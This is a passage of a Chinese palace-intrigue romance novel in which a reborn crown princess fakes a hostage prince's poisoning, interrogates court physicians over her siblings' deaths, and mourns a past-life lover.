第六日,我抑制不住心中那股思念,在昭宸殿前,挂上了一盏花灯。我与他曾约定,只要我在殿前挂上花灯,便是想见他了,他夜里便会来寻我。当做念想也好,纪念也罢,我想着,这盏灯便一直如此挂着吧……
可是那一夜,那盏花灯,被提进了我的寝殿。
他面具下的双眸似有水光,声音有些发颤。他问,我也是舍不得他的,对吧?
我当然舍不得他,以为他离开了的这几日,我愈发看清自己的内心,我恨不得要将他囚在身边,要他日日与我在一起,不仅仅只在夜间相见,可那样太自私了……
我告诉他,同我继续走下去,恐怕会是一条死路。
他说,这辈子也快过了一半,便这样继续走下去吧,下辈子再换一条路走便是。
我问他,若没有下辈子呢?
他吹灭了殿内所有烛火,行至我身前,摘下面具,吻掉了我脸上的眼泪。他说,那便是我欠他的。
我分不清自己是在笑还是在哭,是欢喜还是悲伤,只听见自己哽咽的回答。
好,是我欠你的。
18.安眠
薛竹铃此时很不爽。
她站在东宫偏殿,看别人给江鹤一灌药,脸色黑得同那碗药差不多。
据说那药可名贵了,她家殿下花了不少银子,又为了能让这药有产生中毒症状但不伤身的功效,额外加了一大笔银子。
可卫迟风说,江鹤一竟然骂她家殿下“毒妇”……
薛竹铃咬牙切齿,恨不得往药里掺点别的东西。
卫迟风看她蠢蠢欲动,一脸想要使坏的模样,觉得有些好笑。
“笑什么?”薛竹铃瞪了他一眼,凶巴巴道,“小心我也给你下毒。”
卫迟风双手环抱于胸前,小声道:“殿下要保他,毒是万万不能下的。”
薛竹铃气鼓鼓地“哼”了一声,扭过头去不理他。
卫迟风朝她歪了歪身子:“不过,你可以趁殿下不注意,悄悄打他两巴掌。”
薛竹铃双眼一亮,看向被灌完药的江鹤一,撸起袖子就要过去,结果被卫迟风拽了回来。
她正要骂人,却看到许长宁带着苏明烨走了进来,只好放下袖子,怕方才的动作被许长宁看到要挨骂,赶紧拉着卫迟风灰溜溜地跑了。
“鹤一……”苏明烨看江鹤一毫无意识地躺在榻上,榻边还有一盆血水,心惊不已,忙奔至榻边,一手把脉,一手去打开药箱,急着要给江鹤一解毒。
可他尚未打开那药箱,动作便顿住了。
这脉象……不对……
苏明烨一时不敢相信,又探了江鹤一的呼吸,又把脉许久,脸上急色才渐渐褪去。
江鹤一的呼吸平稳,似是熟睡,体内不仅无毒,从前埋下的病根,竟也好了不少。
苏明烨多年来都想要为江鹤一调理身体,可他没有名贵的药,江鹤一更是隔三差五便挨打受伤,落下的病根便越来越深。
如今江鹤一咳出这些淤血,日后体内血液流通便会愈发通畅,眼下他手心的温度也比往常暖了许多。
“如何,还有救吗?”许长宁坐在一旁悠悠道。
苏明烨端起一旁的药碗嗅了嗅,心中恍然,虽说许长宁套了他的话,可总归是没有伤害江鹤一,已算是幸事了。
只是她为何,要散播江鹤一中毒的消息?为了掩人耳目?
苏明烨未细想,先恭敬地跪在许长宁身前,行了一礼。
许长宁摆手让他起来:“行了,你这一把骨头也是脆的,跟他差不多,别总是又跪又磕头的,万一有个好歹,你们燕大皇子殿下醒了,还要找孤算账,他这嘴,可真够毒辣的。”
“这孩子只是嘴硬,若他知晓殿下之恩,定不会再如此。”苏明烨忙为江鹤一说话。
江鹤一说话如何难听,他一清二楚,看来许长宁也早有领略。
可为何江鹤一屡次得罪许长宁,她对江鹤一的态度却是这般舒缓?
这一句面无表情的话,竟叫他听出了几分……嗔怪……
莫不是这皇太女殿下,当真看上这臭小子了吧?
苏明烨犹豫片刻,再度伏身,问:“小人斗胆,想问殿下此举是何用意?”
“孤不要弱不禁风的棋子。”许长宁站起身,扶起了苏明烨,“你回去吧,只当他身中剧毒,无事莫要离开静思院,有人要给他下毒,便有可能给你下毒,孤的人会看着,你自己亦小心些。”
苏明烨有些不放心地看了眼江鹤一,但最终还是离开了。
在关上门那一瞬,他透过门缝,往里偷看了一眼。
许长宁行至江鹤一的榻边,竟坐了下去。
看到她望着江鹤一的眼神,苏明烨心中那丝顾虑,忽然便烟消云散。
那眼神,他也曾见过。
在周徽音望着他的眼中。
是那般的……温柔缱绻……
如此安睡的江鹤一,让许长宁感到恍惚。
没有怨恨的眼神,没有刺耳的恶言,就像前世一般,静静地陪在她身边。
许长宁缓缓在他身边躺下,侧身望向他的睡颜,抬起手,肆无忌惮地轻描他的轮廓。
从前每次醒来,他都已经离开,或是已戴上面具,他是那般谨慎,乃至六年间,她都未曾见过他的面容。
她的指尖,最后落在他眼角的泪痣上。
犹如被烫着一般,她的指尖轻颤。
前世……他也有这泪痣吗?
还是说,前世之苦,化作了一滴不灭的泪?
许长宁稍稍倾身,一吻轻落在江鹤一的眼角,如他从前吻去她的眼泪那般,轻轻触碰,久久停留,留下了她双唇的温度。
“云止……好好睡一觉吧……”
她微微蜷缩起身子,把冰冷的手放入昏睡的江鹤一手中,在阳光落了满屋的时辰,阖上了眼。
*
自从命人收买严伯钧身边的一个太监去给江鹤一下毒后,谢筠便一直留在宫中,时刻等待消息。
他近日收到的所有消息皆称,江鹤一已昏迷多日,而东宫一筹莫展,就连从东宫出来的苏明烨也面如死灰,回到静思院后便再度一病不起。
且那日许长宁将江鹤一从司训房接走时,许多人目睹江鹤一的模样,那面色惨白得,说已是尸体一具都有可能。
那名负责转交毒药的侍从回禀道:“可惜太医署已被封锁,我们的人无法亲自去东宫确认江鹤一的状态,但那日在司训房,他们把过江鹤一的脉,确认他已中毒。”
谢筠颔首:“那便足矣,那太监与调制毒药的太医,处理好了吗?”
侍从低声道:“太医本是我们的人,在动手前已经处理干净了,只是那太监是严相的人,有些麻烦,需得营造自尽的假象,不过手下的人已在行动了,他活不过今夜。”
谢筠长长舒出一口气:“甚好,确保那太监可以牵连出严伯钧。”
他起身对仪容稍作整理,在一旁候着的谢伍见状,动手帮他卸下身上所有配饰。
“向老爷禀告此事之前,公子莫忘了一事。”谢伍提醒道。
“自是不会忘。”谢筠看向那侍从,侍从当即意会,答道:“公子放心,我已命人救助了两名乞儿。”
谢筠朝他挥挥手,示意他退下。
杀两人,便救两人,平衡之道,向来是谢望松最看重的。
而谢筠他自己,便是因这平衡之道才存在的人。
“对了伍叔,稍后你让人挑选几副上好的补药,给东宫送去。”谢筠低下头看自己的衣襟是否平整。
谢伍走到他身前,为他拉直衣襟,有些担忧:“老爷说殿下分明是在挑衅我们……公子赠药,她可会领情?”
“严伯钧那老东西,一直暗中想要扶植新储君以替代她,眼下,他又毒害了许长宁亲择的翊圣郎,许长宁若是聪明,便应当知道,那老东西对她的威胁更甚。”
谢筠冷笑一声,“她在朝中,绝无可能与父亲和严伯钧同时作对,而她唯一可向谢家示好之法,便是重新选择翊圣郎,我赠药于她,便是给她一个提醒。”
他能看出,谢望松肩上与日俱增的重担,世家的贪婪,逼得谢家不得不夺取更多。
左相之位,已填不饱他们的贪欲。
可父亲不宜直接摄政,如此难得民心,唯有他以翊圣郎、日后的皇夫之名,为父亲在朝中行事予与最大方便。
谢筠走到屋外,望着东宫的方向,沉声道:“但若许长宁不识相,便休怪我不手下留情了。”
*
翌日,许长宁再度踏入司训房,一身明黄色衣裳,明媚如阳,神色却极为阴沉逼人。
她得到消息,卫率已找到江鹤一下毒之人,此人是严伯钧身边的一名太监,只是这太监已畏罪自尽。
严伯钧匆匆赶来时,一声“荒唐”尚未喊出,便被许长宁当众揪住了衣襟。
许长宁满眼愤怒,严伯钧亦没有好脸色,甚至恼羞成怒意欲还手。
在场的谢望松忙出手阻止,缓声劝许长宁冷静。
许长宁并未松手,而是揪着严伯钧去了停放那太监尸体的屋子,砰一声关上了门,声音与力道之大,仿佛那门要被震碎。
严伯钧不悦地拨开许长宁,动手整理衣襟,不悦道:“殿下倒是演得开心,让老臣的颜面往何处搁?”
“演得不真切,如何骗过谢望松?”许长宁一脸无辜,负手行至白布覆盖的尸体前,“他要陷害你,孤可是为严相在谋划。”
“说得好听!”
严伯钧冷哼一声,也走向那具尸体,怎知白布之下的人猛地坐起,给他结结实实吓了一跳。
他抬手便给那太监劈头盖脸来了一掌,低骂道:“你要吓死我吗!”
“相爷……”那太监跪地行礼,他的脸色因为涂了伪装而惨白,连眼底乌青都像极了死人,此刻痛哭流涕起来,愈发吓人,“奴才对您的忠心日月可鉴啊!谢家那些混蛋,以奴才的老母亲威胁奴才,欲让奴才行下毒之事以陷害您,奴才宁死都不愿背叛您呐……”
“那你为何接下银两和毒药?”严伯钧甩了甩被太监拽住的衣袖。
那太监当即闭上了嘴,也不敢哭了。
严伯钧愤愤道:“若不是殿下的人察觉,提前阻止了你,你要害死我!殿下的人救你,可我眼里容不下沙子,你就该死!”
“相爷饶命啊……”太监吓得发颤,低着头求饶。
“留着人证,总有一日可派上用场,孤已想好托词,为严相与此事撇清关系。”许长宁给那太监扔去一包薛竹铃准备的脂粉,“别哭了,自己去对着铜镜,将脸上的妆给补好了,若你隐藏不住,便只有死。”
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太监连声应“是”,忙拿着脂粉走开。
“此次是老臣欠了殿下人情,殿下此前威胁老臣一事,老臣便不计较了,仅此而已。”
严伯钧高傲地捋捋袖子,“殿下莫要妄图借这一件小事,便让老臣相信殿下什么。老臣说了,你以一界女流之身,想要扳倒谢家,绝无可能,老臣自然不会对不可能实现之事施以援手。”
言罢,他便转身要往外走。
许长宁忽然低笑一声:“若孤说,十二年前和宁宴,有谢家的手笔呢?”
严伯钧脚步一顿,沉思半晌,狐疑地看向许长宁:“可有证据?”
许长宁垂眼,摩挲着薛竹铃今日为她挑选的玉镯,低声道:“孤得到消息,当年太医对七皇弟染上疫病的诊断,恐有端倪。”
严伯钧顿时便没了兴致:“口说无凭,就算你所说为真,对方可是谢家,就凭你,也想找出证据?”
“严相莫不是以为,孤封锁太医署这几日一无所获吧?”
许长宁缓缓转身,脸上扬起一抹笑,“严相且等着看,看孤如何斩断谢家在这宫中的第一条毒蔓。”
严伯钧望着她的神情,那般不容置疑,又是那般坚定,轻视她的话到了嘴边,忽然便说不出口了。
他蹙了蹙眉:“这步棋,无论明里暗里,陛下这么多年都不敢下,你现在动手,便不怕谢家一口吃了你?”
许长宁面不改色:“即便不动手,他们也迟早吃了孤,那便头破血流,看谁的骨头硬了。”
她行至严伯钧面前,笑意中染上一丝威胁:“教习考核,江鹤一定会通过,严相届时,可莫要再添乱了。”
严伯钧一时竟感觉被她的气势所压制,掩饰般清了清嗓子:“考核过了又如何?江鹤一羸弱不堪,能抵挡几次谢家的攻击?迟早死无葬身之地。你还妄想利用他,摆脱谢家对你婚事的操控?荒唐!”
许长宁挑了挑眉:“那严相便再与孤赌一把,敢吗?”
严伯钧瞪大双眼,好让自己看上去更凶:“赌便赌,我还怕你一女人不成?赌什么?”
许长宁感觉被严伯钧喷了些口水在脸上,稍稍后退了一步,一边掏帕子擦拭,一边平静道:“若孤与江鹤一顺利成婚,严相便心服口服地做孤的臣子。”
严伯钧猛地昂首,苍白的胡子也跟着一抖:“好!若你当真能走到那一步,我便算你有些本事,必定全力支持你扳倒谢家,登上帝位!”
*
玉盘当空,月色清冷。
薛竹铃早在许长宁离开司训房,前往太医署时,便被遣回了东宫,一直在等许长宁回来。
当她终于听见动静,开心地去迎许长宁时,却被吓了一跳。
许长宁那一身明黄色的衣裙,沾染了许多血迹,在夜里黑得瘆人。
她带着一身的血腥味,身后拖着长长的影子,神色疲惫不堪,双眼还有些红肿。
薛竹铃心急不已,仔细打量许长宁是否有受伤,许长宁握了握她的手,微笑着摇摇头,示意自己无碍,随即往江鹤一所在的偏殿走去。
殿下的手……好冰……
而且她的神情……定是发生了什么很不好的事情……
薛竹铃咬了咬唇,想要追上去,却被身后的卫迟风轻轻拉住。
“让殿下自己待一会吧。”卫迟风轻声道,“若你去陪着,殿下还要强撑着不让你担心。”
薛竹铃扁扁嘴,没有再坚持,看着许长宁进了偏殿,关上了门。
隔绝了所有人,许长宁才觉得浑身发软,几乎支撑不住站立。
她在江鹤一的榻边坐下,握住江鹤一的手,闭上眼缓了许久。
江鹤一手心的暖意,渐渐让她感到安心了许多。
一场审讯,让她得到了线索,却也在地狱里走了一遭。
那些被遗忘的记忆,生生在她心头撕开了一道血口子,剜心一般地疼。
“云止……”
“我好累……”
前世即便有竹铃、迟风与崔皓陪伴,她也从未在他们面前流露出脆弱。
她不能,亦不想,她要做他们的定神针。
唯有在夜里,在他的身旁,她可以毫无顾忌地袒露疲惫、愤懑与恐惧,而他总会温柔地拥抱这一切,并好好守住这些秘密的情绪。
若他在,该有多好……
许长宁侧过身,望向在榻上安睡的江鹤一,忍不住抬手轻轻抚上他的脸庞。
她俯下身,越接近他,便越被他熟悉的气息所包围,越是恍惚与冲动。
他在呢……
就在眼前……
她的云止……
许长宁与他额头相触片刻,微微侧头,要去吻他的唇。
触碰到的瞬间,江鹤一忽然睁开了眼。
19.替身
江鹤一感觉自己做了一个很长很长的梦。
梦中的片段零碎而混乱,有的他曾梦到过,变得愈发清晰,有的则是从未梦到过,却有一种难以言喻的熟悉感。
仿佛他不是旁观者,而是亲历之人。
他看到东宫满堂红缟,而他推开一扇扇门,最终走到那间他被囚过一日的寝殿前。
他看到自己伸出手,推开了那扇门。
屏风之后,床榻之上,坐着许长宁。
明明他看不清那是何人,可他就是知晓,那是许长宁。
一身红艳如火的嫁衣,令他感觉浑身在发烫。
他吹熄了烛火,步步行至她面前,双手不受控地,挑开了她的盖头。
那双红唇微微上扬,一双手搂住他的脖颈,将他往榻上带。
而他开始解她的衣裳,一件一件脱掉,直至只剩一件薄衣……
他能清晰地感知到她的存在,摸到她的轮廓,感受到她肌肤的触感。
这只是一个梦……为何……
当他的手,伸向她最后一件薄衣的衣襟时,他忽然听见一道声音。
“云止……我好累……”
似有一阵漩涡将他裹挟,令他霎时陷入混沌。
云止……这名字,好熟悉,许长宁曾当着他的面唤过一次……又好似唤过了许多次……
再一睁眼,许长宁的面容倏地出现在眼前,却不再是梦中那般一身红衣,且身上带有一股血腥味。
这令江鹤一顿时清醒过来,下意识推开眼前人。
许长宁也不恼怒,只是有些意外,一瞬的失神后,迅速恢复了平静。
她缓声道:“力气挺大,看来身体无碍了。”
江鹤一撑起身体往后缩,望着许长宁那一身被血染红的衣裙,满眼警惕。
许长宁亲手灌他毒药的模样,他仍历历在目。
他攥紧了手,指尖闪过一抹胀痛,他即刻意识到这是被施过了针,而这施针的手法……是苏明烨!
他还活着,苏明烨来过,许长宁满衣裳的血污……
江鹤一瞳孔骤然紧缩:“你这毒妇对我师父做了什么?”
许长宁原本解释的话到嘴边,却因为江鹤一这一句质问而咽了下去。
“孤在你眼中,便是个恶毒的女人吗?”她倾身靠近江鹤一,眼神缠着气息,甚是勾人,“我们已水乳交融,莫非燕皇子殿下对孤没有半分别的想法?”
江鹤一顿时揪紧了褥子,方才梦中如火一般的嫁衣,一遍遍晃过他的眼前。
他咬了咬牙,寒声道:“痴人做梦,谁会对仇人有别的心思?”
许长宁低笑道:“我们怎算仇人?十二年前,你父皇屠戮孤的兄弟姐妹,你年仅八岁,孤只恨凶手与幕后黑手,并不恨你一个无辜之人。而将你送至昭国为质,是你的父亲,你受他人凌辱,孤多次施以援手,你为何又要仇视孤?”
江鹤一目光如炬,毫不退让:“下药逼我行房事,囚禁我,当众将我推入死局,亲手给我灌毒药,这便是你的施以援手?那我亦十分愿意向你施以援手。”
“你现在不是活得好好的?真记仇。”
许长宁埋怨一句,走到堆满了书籍的桌前,拿起一本随意翻了翻,“既然醒了,便将这些书都看完,教习期考核将提前至十日后,你若不通过,你和你的师父都得遭殃。”
说着说着,许长宁看到自己沾了血的衣袖,才发现一身衣裙已尽是血污,不禁眉心一蹙,“啧,这可是孤最喜欢的衣裳……”
那明黄色伴着发黑的血红,却仍难掩明媚。
许长宁捻起衣袖仔细打量,甚是心疼。
方才心思不在此处,一直没有注意,血最难洗了,尤其是如此脆弱的布料。
她轻叹一口气,抬眼看见江鹤一正盯着她看。
她嘴角又扬了扬:“如何?好看吗?”
可江鹤一却咬牙质问道:“你将苏明烨如何了?”
许长宁顿了顿,当即反应过来,原来江鹤一看的是这裙子上的血迹。
她顿时没了兴致,甩了甩袖子,云淡风轻道:“苏明烨用他最大的代价救了你,你若想不让他白费力气,便好好做孤的翊圣郎。”
江鹤一知晓自己已没有选择,可仍是不甘心就如此被许长宁操控:“你到底要我陪你演到何时?”
“演?孤可是很认真地要与燕大皇子成婚的。”许长宁再度行至他面前,俯身看着他,笑道,“与孤成婚,你可是捡了大便宜。”
江鹤一也笑了:“原来殿下如此幽默。”
“好说,孤还有许多你不知晓的好。”许长宁不在意他嘲讽的语气,伸手抬起他的下巴,“比如,与谢家这一仗,孤定会胜出,眼下拉你入孤的阵营,是孤宅心仁厚,送你一条生路。”
看着许长宁凑得极近的面容,她的气息也渐渐侵染他周遭的空气,江鹤一心中忽然慌乱起来。
那些混乱的梦搅乱了他的心神,令他心虚不已。
他急着想摆脱这种失控的感觉,摆脱眼前这令他失控的人,而此前试验过唯一管用的法子……
“区区一名女子,如何能成大事?”他声音冰冷,字字清晰,“殿下如此喜欢卖弄衣裳,何不去做那衣铺老板,或许招揽来的客人,比朝中追随你的臣子都要多。”
许长宁凝望着他的双眸,方才什么旖旎、挑逗的心思,皆烟消云散。
她当真觉得自己愚蠢,竟会一次次将这个人,当做她的云止。
“你以为,我很想与你亲近?”
她倏地掐住他的脖子,眼神中温柔化作不甘与狠厉,“只是因为你太像他,而我太思念他,一时失控罢了。”
“像谁?”江鹤一看她生气,反而欢喜,笑道,“云止吗?”
她与他行事时,唤的那个云止,她在他梦中,唤的那个云止。
是他吗?
许长宁一怔,她望着江鹤一漆黑的双眸,意识到自己再一次失态了。
明明已经下定决心,不会再因为他而牵动情绪的。
“是孤看错了……”
“你一点都不像他。”
许长宁松开手,眼底的情绪尽数被收敛起来,化作一潭死水,“我想要的,现在,以后,都不会是你。”
江鹤一闻言,莫名心中一颤:“求之不得。”
许长宁不再言语,转身快步离开了偏殿。
她的步伐太过着急,以至于直接略过了本想叫住她的崔皓。
崔皓察觉她的情绪不对,转头看向她离开的地方。
又是那个男人……
他到底有何本事,三番四次让阿姐表现得如此反常?
崔皓犹豫片刻,正要走向偏殿,去会会江鹤一,然而江鹤一恰好仓促推门而出,逃跑般朝他的方向奔来。
两人交错之际,目光交汇一瞬,寒气冰冻三尺。
*
许长宁回到寝殿中,忽然觉得自己一身血腥味愈发浓郁,挥之不去。
她犹如剥皮一般,嫌恶地将身上的衣裙一层层扒下来,愤愤扔至地上。
追随进来的薛竹铃看她身上仅剩一件薄衣,忙抓起外袍给她披上。
她抱着许长宁,感受到外袍之下的身体,在微微发颤。
她方才已向卫迟风问清楚了今日之事,看着许长宁此刻眼中的血丝,心疼地扁了扁嘴。
“殿下……难受便莫要忍着,竹铃陪着您。”
难受?许长宁的嘴角抽了抽,她想笑,却笑不出来。
因江鹤一“中毒”这一出,她得以在谢家未来得及防备之前,光明正大地封锁太医署,经过几日的调查,太医署中与谢家有关联的所有人,皆被揪了出来,通通关在一间房中。
许长宁换了几种刑具,亲自严刑逼供,房中惨叫之声不绝于耳,血也溅了她一身。
太医署化作刑房,时不时有谢家部署在太医署的爪牙被血淋淋地抬出来,屋外人人心惊不已,他们深知,这是许长宁的警告。
最后,屋内仅剩一名活着的太医,那是太医令。
许长宁拖着长鞭,缓缓走到他面前,俯视的眼神犹如淬了冰。
“十二年前,七皇弟是否染上时疫,孤再给你最后一次回答的机会。”
“臣当真不知……”
许长宁抬手又抽了他一鞭:“当年为七皇子诊治之人,是你的师父!你便在一旁看着!你如何不知?”
太医令已年近五十,倒在地上呻吟,重刑之下他早已崩溃,加之一睁眼便是死不瞑目的同僚,濒死的恐惧让他再也无法逞强。
“医案!我在师父遗物中,发现了当年留存的医案!”太医令声音颤抖不已,“七皇子病发时高热、身有红疹,的确符合当时常见的疫病之症,可医案中师父的用药记录,却异常简略……”
许长宁厉声问道:“医案在何处?”
“臣……臣已销毁……”
许长宁冷笑一声,抬起鞭子又要抽过去,太医令吓得连声求饶:“臣记住了医案之上所有的人名!还有一人!还有一名参与当年诊治的太医,尚未被谢家处理,他在谢家下手之前,便已不知所踪……”
卫迟风将纸笔放至他面前,要他写下来。
太医令颤颤巍巍写完,看卫迟风拔出剑来,顿时老泪纵横,急声道:“别杀我!我是无辜的!”
卫迟风面无表情道:“无辜?你那师父乃十二年前之事的源头,九位皇子公主命丧洛宸,事后你知晓事有蹊跷,却不曾上报,还替谢家杀了自己的师父,你无辜?”
太医令已是强弩之末,挣扎道:“即便师父受谢家之命给七皇子下毒,那毒药也只会让七皇子出现疫病之状,并不会伤其性命啊!当时是洛宸府兵与南衙禁军负责皇子们的安全,他们未能防住燕国刺客,皇子公主们身死,与我们何干?”
“与你们无关?”许长宁夺过卫迟风手中的剑,猛地捅入太医令的大腿,鲜血再度染红了她的裙摆,“你们每一个人,都是凶手!我的阿兄,我的弟弟妹妹们……他们……”
许长宁已说不下去,浑身开始止不住地颤抖,太医令的惨叫,渐渐变换成多年来缠绕在她噩梦之中的惨叫,那是她的弟弟妹妹们,是她的亲人……
太医腿上的伤口,血流如注,一如阿兄被刺穿的胸膛。
那些被掩埋的记忆碎片,长出了尖锐的刺,扎得她体无完肤,再化作风暴,几乎要将她吞噬。
她想要记起来,想要看清楚他们的死,想要将仇恨重新种入她的灵魂。
可是那些回忆犹如剧毒,痛得她窒息,只是轻轻掀开一角,便已让她感到天旋地转。
“殿下……”薛竹铃紧紧抱着跌坐在地的许长宁,已哭得双眼通红,“殿下没事了……竹铃陪着您……”
许长宁的呼吸急促,手脚冰冷,视线一片模糊:“他们,杀了我的家人,我的爱人……”
她的阿兄,她的弟弟妹妹们,还有她的云止……
“我要他们,血债血偿!”
薛竹铃不知自己还能做什么来安慰许长宁,只能同她一起放狠话:“卫迟风已经派人去找那名太医的下落了,殿下一定会找到线索,弄死谢家那帮孙子!”
许长宁埋头于双膝之间,将难以自控的表情隐藏起来,可声音的颤抖已将她暴露无遗。
“竹铃……能否帮我,燃几盏花灯?”
薛竹铃不问原因,立即应下来,跑出去让人找来许多花灯,一盏盏点燃。
数十盏花灯齐燃,映得殿内如同白昼,连墙角都被染得发暖。
可许长宁望着满殿热烈的光,伸出手,却只触碰得到满掌的空凉。
即便她燃了满殿的花灯,他也不会再回来了。
许长宁靠在榻边,眸
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中的光渐渐褪去,殿门却忽然被推开。
一道身影提着一盏花灯,缓缓走了进来。
许长宁猛地抬眼,却见来人是崔皓。
“阿姐……”崔皓在许长宁面前跪坐下来,轻轻握住了她的手,“我来陪你,好吗?”
许长宁勉强扯出一丝笑意:“阿姐只是有些累了。”
“阿姐莫要瞒我,我知晓阿姐不开心。”崔皓把头靠在许长宁屈起的双膝之上,轻声道,“我已长大了,谁欺负阿姐,我定不会饶了他。”
许长宁摸着他的头,喃喃道:“阿姐只希望,我们阿皓好好的。”
“你们都好好的……”
“我一定会,护住你们……”
*
江鹤一跑回了静思院。
他见屋内无灯,一时紧张不已,但进屋后,发现苏明烨安然无恙地躺在榻上睡觉,脉象亦平稳,他才松了口气。
他回到自己房中,本想躺下休息,却发现林笙睡在他的榻上,隐隐约约传出呼噜声来。
江鹤一不想吵醒他,便靠着榻边坐在地上。
有些奇怪的是,他一路奔回来,眼下却并不觉疲倦气急,反而浑身仍力气十足,换作平常,他要喘咳许久,才能缓过来。
他正要为自己把脉,身后的林笙忽然醒了。
“老一?”林笙坐起来,揉了揉眼,看清楚眼前之人真的是江鹤一,开心得双眼发亮,一把抱住了他,“老一你真的没死!你可吓死我了!”
江鹤一看着林笙,想起在司训房,林笙泪眼汪汪的模样,忽然心中发暖。
他笑了笑,推开林笙:“我命硬,还死不了。”
林笙却给了他一拳:“那你那时还做出一副要死的模样!”
江鹤一回想起来,觉得有些尴尬,本想转移话题,忽然想起一事:“对了,我的银子,你没拿吧?”
林笙一怔,两人对视片刻,便同时飞身扑向床榻一角,掀开木板,争着要抢榻下藏着的那袋银两。
“你说过不要我还了!”江鹤一揪住袋子不放手。
“那是看你快死了,哄你的!”林笙也不肯放手,“再说了,我千方百计进司训房帮你,又为你看了几日家,这些账我都记着呢!”
“先欠着!”
“不行!现在就还!”
两人这一番闹腾,将隔壁房间的苏明烨吵醒了。
他看见江鹤一回来,颇为讶异:“臭小子,你怎么回来了?”
江鹤一力气比往日大了许多,一把拽过装着银两的袋子,林笙彻底落败,不甘地砸床一拳。
“那个女人应是被气着了,这才没让人再囚着我。”江鹤一抱着银两,走到苏明烨面前,蹙眉问道,“她说你为救我,付出了极大的代价,你……做了什么?”
苏明烨闻言不解,虽说他确实向许长宁坦白了他与周徽音的过往情谊,若放宽心往好处想,这些事与流言蜚语无异,未必真的能成为把柄,谈何代价?
且江鹤一不是他“救”的。
这孩子从始至终,并未受到任何伤害。
那许长宁为何要如此说?就像是,赌气一般。
“你是否又对殿下出言不逊了?”苏明烨板着脸反问道。
江鹤一对苏明烨这近乎责怪的语气有些不解:“你什么意思?”
“你是当真不知,还是在装傻?”苏明烨顺手抄起一旁的医书,猛地拍了一下江鹤一的头,“你跟我学了这么多年,连毒药与补药,都分不清吗?”
不是毒药?
江鹤一哽住了,那些被他抛之脑后的记忆,忽然一点点汇聚。
许长宁……似乎确实从一开始,便不曾说过给他灌的是毒药……
而她说的那些狠话……似是在他骂她是“毒妇”之后,才……
苏明烨皱着眉,又拿书冲发愣的江鹤一拍了一下:“臭小子,殿下给你喝的,乃是调理身体的上等补药,她对你并无加害之心,甚至从意欲毒害你的谢家手中护下了你,你以后再乱说话试试?我教你谨言慎行,你倒是与你那混账爹一样,口无遮拦!”
江鹤一一时忘了反驳苏明烨骂他父皇的话,脑中充斥着与许长宁交锋的许多画面。
心里不知为何,忽然揪了一下。
不对……这毒妇分明别有所图,一直在利用他……
“她此前逼迫我行事,便——”
“是你联合那谢筠欺骗她在先。”苏明烨毫不留情面地打断。
江鹤一攥紧了拳:“那她囚禁我,我为了脱身,故意惹怒她又有何错?”
“你仔细想想,殿下当真是要囚禁你?”苏明烨第三次用书敲江鹤一的头,“那是保护——”
话音未落,忽有一道暗箭刺破窗纸,直冲江鹤一而来!
*
许长宁的前世日志·四
今夜我一时兴起,问云止何时对我生出男女之情。是大婚之日,他脱下我的婚服之时,还是我戳穿他的身份,与他第一次行事之时。
他想了片刻,说是我捡到受伤的小煤球那日,连我都不记得那是何时了。
他说那时谢筠要他暗中观察我的言行喜好,那日他躲在树上,看到我穿着一身明黄色的衣裙,在阳光下安抚小煤球,当时他并不知晓,可他回想起来,便知自己是心动了,他说他羡慕那时的小煤球。
他还说,我穿明黄色最是好看。
我挑逗他,说原来他是见色起意,他却认真地说,陛下明媚时如阳,威严时如山,天下无论男子女子,谁见了不敬仰爱慕?
可这一句话,却让我觉得难过。
此刻的我,并不是他口中之人。我眼下形同废物,如同冷宫妃子一般被软禁,眼睁睁看着昭国在谢家的祸害之下民不聊生……
或许有朝一日,我终将与谢家背水一战,而云止的这句话,会是我的勇气之源。
20.记忆
江鹤一猛地侧身,堪堪躲过那支暗箭。
箭尖划破了他的衣袖,直直刺入他一旁的墙壁。
屋内三人顿时警惕地伏低了身子。
“老一!到底有多少人要杀你啊!”林笙趴在床上,用被褥将自己裹得死死的。
江鹤一伏在地上,抬起一手护着身后的苏明烨,紧张地攥紧了拳。
看来是上次没有得手的谢家,知晓了他离开东宫。
竟然来得如此快……
嗖的一声,又是一道暗箭离弦,刺破窗户而来,江鹤一正要闪躲,屋门忽然被撞开,卫迟风持剑飞身入内,毫不费力地挑开了那支箭。
他迅速拔出插入墙壁的箭,推开窗户,对准不远处屋顶上的一道黑影,空手甩出那支箭,那道黑影仓促闪躲,随即消失无踪。
“给我追!”卫迟风一声令下,静思院暗处忽然冒出六七名卫士,纷纷持剑追去。
江鹤一稍稍松了一口气,但眼中警惕仍然不减,这些东宫的人来得如此快,莫非他们一直在暗中监视他?
未待江鹤一想好该如何应对,他身后的苏明烨便已站起来,朝卫迟风作揖感谢:“多谢卫将军这段时日的保护。”
江鹤一一怔,这段时日?保护?
“我只是听从殿下命令罢了。”卫迟风神色淡淡,他对这些人,尤其江鹤一,毫无好感,“静思院已不安全,江公子看清楚了,便随我回东宫。苏医师不便住在东宫,有人会为你另外安置安全的住所。”
江鹤一听到要与苏明烨分开,便蹙眉拒绝:“我与苏明烨要住在一起。”
卫迟风的神情愈发冰冷:“殿下说了,若你想要留在此处等死,也可以。”
苏明烨又抄起书往江鹤一头上一拍,严肃道:“一切听从殿下安排!”
江鹤一瞪了眼苏明烨,这人到底是哪一头的?
他僵持片刻,终是叹了口气,认命了。
眼下确实只有依附于许长宁,才能保住性命。
林笙看那杀人的家伙不会再回来了,长舒一口气,从榻上爬下来,正要偷偷离开,却被卫迟风抬剑拦下。
“林公公,一起吧。”
林笙咽了口口水,讨好地笑笑。
这老一!要把他害死了!
*
再度踏入东宫,江鹤一觉得自己已经熟悉得如同回家一般。
他提着从静思院带来的包裹,越靠近许长宁的寝殿,便越惴惴不安。
许长宁估计会为方才之事责罚他,但他并非在为可能受到责罚而担心,而是在想要如何将他包裹中的那样东西送给她。
他收拾常用品时,特意带了一块他自制的香皂。
他时常挨打,所以衣裳上沾血是常事,血迹一旦干了,便难以清洗,于是他用药材制成香皂,专门用来清洗血迹。
许长宁那件衣裳上的血迹,用这香皂可以轻易洗干净,亦不会对布料有所损伤。
便当作……他的道歉吧……
为他此前的误会与恶语相向,也能让自己往后的处境好一些。
“老一,待会见到殿下,你就说你同我不熟,知道了吗?”林笙絮絮叨叨一路,此时站在许长宁的寝殿前,又低声重复了一遍。
可江鹤一完全没有在听他说话,只是沉默地望着眼前的寝殿,殿门前挂满了花灯,殿内亦是灯火通明。
好奇怪,前几日都不曾如此,今日是什么节日?
“老一!”林笙看江鹤一出神,撞了撞他,一脸埋怨,“你记住了没有?!”
“林公公,请吧。”一旁的卫士抬手,示意林笙入寝殿见许长宁。
